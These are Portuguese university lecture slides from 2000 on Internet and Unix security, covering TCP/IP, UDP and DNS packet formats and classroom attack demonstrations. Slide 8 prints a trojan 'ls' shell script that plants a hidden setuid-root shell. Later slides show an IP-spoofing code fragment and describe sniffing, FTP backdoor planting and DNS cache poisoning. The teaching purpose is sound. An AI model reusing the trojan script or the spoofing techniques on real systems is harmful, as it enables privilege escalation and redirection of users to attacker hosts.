CEULP/FURB 2000
1
Prof. M. Sc. Claudio MonteiroUniversidade Luterana do Brasil - ULBRA
Centro Universitário Luterano de Palmas - CEULPCurso de Bacharelado em Sistemas de Informação
*** Grupo de Pesquisa Aplicada em Redes de Computadores - GPARC***
Segurança em Sites InternetSegurança em Sites Internet
CEULP/FURB 2000
2
Nosso MenuNosso Menu
1 - Introdução
2 - Motivação
3 - UNIX: O Sistema Operacional
4 - Conectividade: Uma grande necessidade
5 - Segurança: A grande meta
6 - TCP/IP: O grande vilão?
7 - Considerações sobre os Protocolos IP e UDP
8 - Demonstrações: Um estudo de casos
CEULP/FURB 2000
3 1 - Introdução1 - Introdução
CEULP/FURB 2000
4
Serviço de Nomes
História
2 - Motivação2 - Motivação
DNS
DNS - Domain Name System
CEULP/FURB 2000
5 Unix: O Sistema OperacionalUnix: O Sistema Operacional
MultiusuárioMultitarefa
Autenticaçãono nível deusuário
CEULP/FURB 2000
6 Unix: O Sistema OperacionalUnix: O Sistema Operacional
Controle de Permissões porArquivos
Administração por Usuáriose Grupos
CEULP/FURB 2000
7 Unix: O Sistema OperacionalUnix: O Sistema Operacional
• SETUID e SETGID: Arquivos que executam com privilégios especiais. Todo cuidado é pouco com a “Engenharia Social”.
• Shell: Uma grande vantagem... se bem usada!!!
CEULP/FURB 2000
8 Unix: O Sistema OperacionalUnix: O Sistema Operacional
% cat ls#!/bin/sh(/bin/cp /bin/sh /tmp/.secret/etc/chown root /tmp/.secret/bin/chmod 4555 /tmp/.secret) 2>/dev/nullrm –f $0exec /bin/ls “$@”%
Sequência de Comandos Shellque podem dar séries dores decabeça em administradores desistemas Unix
Situação: Usuário criaesse arquivo shell e o chamade “ls” (comando básico doUnix). Cria uma arquivo qualquer e pede ao adminis-trador do sistema para apagá-lo... Como o Adm nãodesconfia, ele loga e executa o“ls” feito pelo usuário.
CEULP/FURB 2000
9 Unix: O Sistema OperacionalUnix: O Sistema Operacional
PATH=.:/usr/bin:/bin:/usr/local/bin sh ou kshset path= ( . /usr/bin /bin /usr/local/bin ) csh
Exemplo da inicialização da variável PATHnos vários shells: sh, ksh e csh
Observe que no exemplo acima o diretório “.” é o primeiroda lista de PATH... Isso garante que qualquer comandodado pelo usuário com esse path será procurado nodiretório corrente primeiro...
CEULP/FURB 2000
10Conectividade: Uma grande Conectividade: Uma grande
necessidadenecessidadeSolicitação de conexão usando o protocolo de aplicação “telnet”a partir de uma maquina Windows
Estabelecimento de conexão via“telnet” com uma máquina Unix
CEULP/FURB 2000
11Conectividade: Uma grande Conectividade: Uma grande
necessidadenecessidadeExemplos de conexão usando o protocolode aplicação http com a ajuda de umbrowser
CEULP/FURB 2000
12Conectividade: Uma grande Conectividade: Uma grande
necessidadenecessidade
Exemplo de uma conexão estabelecida(e esperando autenticação) entre uma máquina Windows e uma máquina Unix,via o protocolo de aplicação “ftp”
Conexão “ftp” autenticada, mostrandoa listagem dos arquivos localizadosremotamente.
CEULP/FURB 2000
13 Segurança: A Grande MetaSegurança: A Grande Meta
Como ter uma REDE segura???
Temos que ter Sistemas Operacionais com implementações de protocolos confiáveis.
Um bom caminho é possuir umbom meio de comunicação dedados.
CEULP/FURB 2000
14 TCP/IP: O Vilão?TCP/IP: O Vilão?
O IP - Nível de Rede O UDP - Nível de TransporteO TCP - Nível de Transporte
R
10.0.0.37
192.5.48.6128.10.2.3128.10.0.0 192.5.48.0
10.0.0.0
CEULP/FURB 2000
15 TCP/IP: O Vilão?TCP/IP: O Vilão?
Redes Interligadas
Rede 1
G
Rede 4 Rede 5
Rede 2
Rede 3
G G
G
G
Rede IP 200.241.85.0 Rede IP 200.241.0.0
Rede IP 200.21.52.0 Rede IP 200.241.87.0
Rede IP 200.241.86.0
Rede IP 200.241.74.0
CEULP/FURB 2000
16 TCP/IP: O Vilão?TCP/IP: O Vilão?
Envia SYN seq.x
Recebe SYN esegmento ACK
Envia SYN seq.yACK x+1
Recebe segmentoSYN
Envia ACK y+1
Recebe segmento
Eventos do ladoda estação 2Mensagens na Rede
Eventos do ladoda estação 1
O TCP e o Famoso “Aperto de Mão Triplo”
Slide 3
CEULP/FURB 2000
17 TCP/IP: O Vilão?TCP/IP: O Vilão?
Portas de Serviço e Sockets
Abertura de socket TCPcom a porta 25
Interação com o servidor na porta 25
CEULP/FURB 2000
18 Considerações sobre os Considerações sobre os protocolos IP E UDPprotocolos IP E UDP
Cada host na Internet é identificado de forma unívoca através do endereço IP atribuído na sua configuração. Os endereços IP's estão associados às interfaces de rede e não aos hosts que as contêm O protocolo IP defini o esquema de endereçamento desses hosts.
CEULP/FURB 2000
19Camada de RedeCamada de Rede
Mensagem
Segmento
Datagrama IP
Bits e Quadro
Aplicação
Transporte
Física
Rede IP
CEULP/FURB 2000
20 Datagrama IPDatagrama IP
Vers Hlen Service Type Total Length
Identification FlagsFragment Offset
Time to Live Protocol Header Checksum
Source IP Address
Destination IP Address
Options (if any) Padding
Data
0 4 8 16 31
. . .
2419
CEULP/FURB 2000
21
• Quando Utilizar o UDP?
– Aplicações que implementam mecanismo de entrega confiável
– Pequena quantidade de dados a transmitir
Protocolo UDP (User Datagram Protocolo UDP (User Datagram Protocol)Protocol)
CEULP/FURB 2000
22Localização do Protocolo UDP na Localização do Protocolo UDP na
Arquitetura TCP/IPArquitetura TCP/IP
Mensagem
Segmento
Datagrama IP
Bits e Quadro
Aplicação
Transporte
Física
Rede
UDP
CEULP/FURB 2000
23
UDP UDP (User Datagram Protocol)(User Datagram Protocol)
Checksum
Data
31160
Length
Source Port Destination Port
...
• Formato do Datagrama
DNS PORT = 53
Formato do datagrama UDPFormato do datagrama UDP
CEULP/FURB 2000
24
SMTP FTP DNSDNS NFS
Nível de Aplicação
Protocol
Port
TCP UDP
IP
Endereço IP
Aplicação
Rede
Transporte
Definição de portas
Aplicação
Placa de Rede / Fax ModemFísica
CEULP/FURB 2000
25 Demonstrações
Conexão TCP com a porta 110 damáquina “localhost”
Aplicação desenvolvida segundo aAPI de sockets para Unix que explorauma vulnerabilidade na implementaçãodo protocolo de aplicação POP
CEULP/FURB 2000
26 Demonstrações
Login feito pelo usuário redes
Sniffer em ação, produzindoum log com a senha digitada pelousuário redes na seção de login
CEULP/FURB 2000
27 Demonstrações
Conexão FTP feita com uma máquina Unix. Verifique queo login foi autenticado sem senha e que o diretório “incoming”possui permissões de escrita paraqualquer usuário. Isso normalmente é usado por servidores que necessitamque seus próprios usuários mantenham seus repositóriosatualizados.
Isso permite que seja “plantada” uma aplicaçãono servidor, que possua características especiaispara produzir uma Back Door
CEULP/FURB 2000
28 Demonstrações
Resultado: Visualizaçãodo arquivo de senhasdo servidor
CEULP/FURB 2000
29 Demonstrações
Máquina Atacante
Fir
ewal
l
Máquina 01 da Rede Local
Máquina 02 da Rede Local
O Spoofing de IP
CEULP/FURB 2000
30 Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
A função principal dos serviços de nomes é traduzir nomes de domínio para os seus respectivos endereços IP’s.
www.oi.comwww.cade.comwww.oi.com = 10.10.10.1www.cade.com = 35.35.2.80
www.av.com www.ufg.br
www.av.com = 20.20.20.80www.ufg.br =50.75.96.8
Servidor DNSServidor DNS
CEULP/FURB 2000
31
O site da ulbra esta no endereço:
www.ulbra-to.br
Será que o site da Ulbra esta no endereço200.167.132.241 ? Ou 200.162.132.235 ?
Mané Joãozinho
Nomes de domíniosNomes de domíniosOs Nomes de Domínios são utilizados para
facilitar a identificação da origem de uma determinada informação.
www.ulbra-to.br = 200.167.132.241
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
32
dns.ulbra-to.br
www.ulbra-to.brwww.ulbra-to.br
br NS fpsp.fapesp.br
ulbra-to.br NS dns.ulbra-to.br
www.ulbra-to.br A 150.161.6.11
150.161.6.11fpsp.fapesp.br
terp.umd.eduwww.ulbra-to.br
www.ulbra-to.brcache
Resolver NameServer
www.ulbra-to.br = 150.161.6.11
Processamento de RequisiçõesProcessamento de Requisições
Cliente1.ola.com
Pacote DNS
dns.ola.com
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
33
IP SPOOFING - Falsificação de Endereço IP IP SPOOFING - Falsificação de Endereço IP
O IP SPOOFING é um recurso utilizado para falsificar a origem do pacote. Consiste nas facilidades que o protocolo IP oferece no preenchimento de pacotes IP, de acordo com as necessidades de um atacante. Técnicas como DNS SPOOF, DOS e outras, simplesmente utilizam essa facilidade.
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
34
De: Fulano da silva Rua Y Nº 21 LT 08
Para: Ciclano da Costa Ender. X Nº 8 LT 55
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
35
...struct iphdr *ip_header; ip_header->version = 4; ip_header->tot_len = htons(data_len); ... ip_header->daddr = ip_destino;
...... ip_header->saddr = ip_origem;ip_header->saddr = ip_origem;
...
Implementação do IP SPOOFINGDemonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
36
Falsificação de IP em Pacotes DNS - Falsificação de IP em Pacotes DNS - DNS SPOOFDNS SPOOF
www.ulbra-to.brbr NS fpsp.fapesp.br
1.2.3.4
terp.umd.eduwww.ulbra-to.br
cache
Resolver NameServer
www.ulbra-to.br = 1.2.3.4
atacante.rold.comwww.ulbra-to.br A 1.2.3.4
cliente1.ola.comPacote
IgnoradoPacote
Ignorado
Servidor DNS - dns.ola.comServidor DNS - dns.ola.com
S.O. NT ou LINUX S.O. NT ou LINUX
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
37
Implementação da Falsificação de IP em Pacotes DNSImplementação da Falsificação de IP em Pacotes DNS
www.ulbra-to.brbr NS fpsp.fapesp.br
1.2.3.4
terp.umd.eduwww.ulbra-to.br
www.ulbra-to.br = 1.2.3.4
cache
Resolver NameServer
Cliente2.ola.comwww.ulbra-to.br A 1.2.3.4
cliente1.ola.comPacote
IgnoradoPacote
Ignorado
Rede EthernetSNIFF
Captura a pergunta enviadapor dns.ola.com
DNSspoof.c
dns.ola.com
Invasor
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
38
7 - Conseqüências7 - Conseqüências
cliente1.ola.comServidor WEB
1.2.3.4
1.2.3.4 GET /index.html
Página Web Requisitada
* Alterar a Origem da Informação
* Driblar mecanismos de defesas baseados em wrappers
www.ulbra-to.br
1.2.3.4
cache
Resolver NameServer
cliente1.ola.com
Visualizando página Web indesejadaVisualizando página Web indesejada
Demonstrações: Serviços de NomesDemonstrações: Serviços de Nomes
CEULP/FURB 2000
39 ConclusõesConclusõesApós a implementação de um programa que Após a implementação de um programa que
realiza a falsificação de endereços IP's em pacotes de realiza a falsificação de endereços IP's em pacotes de respostas enviados para servidores DNS, realizamos respostas enviados para servidores DNS, realizamos vários experimentos, que nos permitiram concluir que vários experimentos, que nos permitiram concluir que servidores DNS configurados sob os sistemas servidores DNS configurados sob os sistemas operacionais Linux e WindowsNT se encontram operacionais Linux e WindowsNT se encontram vulneráveis, podendo ter seu vulneráveis, podendo ter seu cachecache poluído com uma poluído com uma resposta falsa. resposta falsa.
CEULP/FURB 2000
40
Estrutura de uma Mensagem Enviada Estrutura de uma Mensagem Enviada por um Servidor DNSpor um Servidor DNS
Cabeçalho
Pergunta(s)
Resposta(s)
Autoridade(s)
Adicional
CEULP/FURB 2000
41
DNS packet header (DNS packet header (Cabeçalho do Pacote DNSCabeçalho do Pacote DNS))
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ID
QR Opcode AA TC RD RA Z RCODE
QDCOUNT
ANCOUNT
NSCOUNT
ARCOUNT
CEULP/FURB 2000
42
Seção de Pergunta do Pacote DNSSeção de Pergunta do Pacote DNS
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Nome a ser resolvido
Tipo de Query
Tipo de Classe
CEULP/FURB 2000
43
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Nome a ser resolvido
TIPO
CLASSE
TTL (Tempo de validade da resposta)
Tamanho da Resposta
Dados da Resposta
Seção de Resposta do Pacote DNSSeção de Resposta do Pacote DNS
Voltar
CEULP/FURB 2000
44
6.1 - Conteúdo do Pacote DNS na Pergunta Enviada6.1 - Conteúdo do Pacote DNS na Pergunta Enviada
ID = 2005 QR = 0 AA = 0 TC = 0 RD = 1 RA = 0OPCODE = 0 RCODE = 0
QDCOUNT = htons(1)ANCOUNT = 0NSCOUNT = 0ARCOUNT = 0
Seçao de PerguntaNome a ser resolvido = [3|w|w|w|8|u|l|b|r|a|-|t|o|2|b|r|0]
tipo de questão = htons(1)Tipo de query=htons(1)
CEULP/FURB 2000
45
6.2 - Informações Necessárias para Montar o Pacote de 6.2 - Informações Necessárias para Montar o Pacote de RespostaResposta
* ID do cabeçalho DNS
* Nome a ser resolvido da seção de pergunta
* Endereço IP de destino
* Porta de origem
Voltar
CEULP/FURB 2000
46
DataAplicação
Transporte
Rede
Física
DataHeader
DataHeader
DataHeader
Encapsulamento de DadosEncapsulamento de Dados